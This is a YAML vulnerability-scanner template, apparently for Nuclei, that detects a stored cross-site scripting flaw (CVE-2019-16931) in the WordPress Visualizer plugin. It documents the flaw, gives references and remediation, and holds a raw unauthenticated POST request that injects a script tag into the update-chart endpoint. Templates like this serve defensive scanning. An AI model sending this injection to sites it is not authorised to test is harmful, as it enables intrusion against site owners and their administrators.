59 lines
2.3 KiB
YAML
59 lines
2.3 KiB
YAML
id: CVE-2019-16931
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info:
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name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: |
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Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
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reference:
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- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
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- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
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- https://wpvulndb.com/vulnerabilities/9893
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- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
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- https://wordpress.org/plugins/visualizer/#developers
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-16931
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cwe-id: CWE-79
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epss-score: 0.00244
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epss-percentile: 0.63842
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cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: themeisle
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product: visualizer
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framework: wordpress
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tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle
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http:
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- raw:
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- |
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POST /wp-json/visualizer/v1/update-chart HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '{"success":"Chart updated"}'
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- type: word
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part: header
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words:
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- 'application/json'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100ebdbe48903267152b3940618aec8f3c9f00c9df84d085fbcb2a2547ee2f10df2022100a520ce530e8ab1ee1e90631190a9746f83fbbf733c95c6a32e75effeb50ac0cf:922c64590222798bb761d5b6d8e72950 |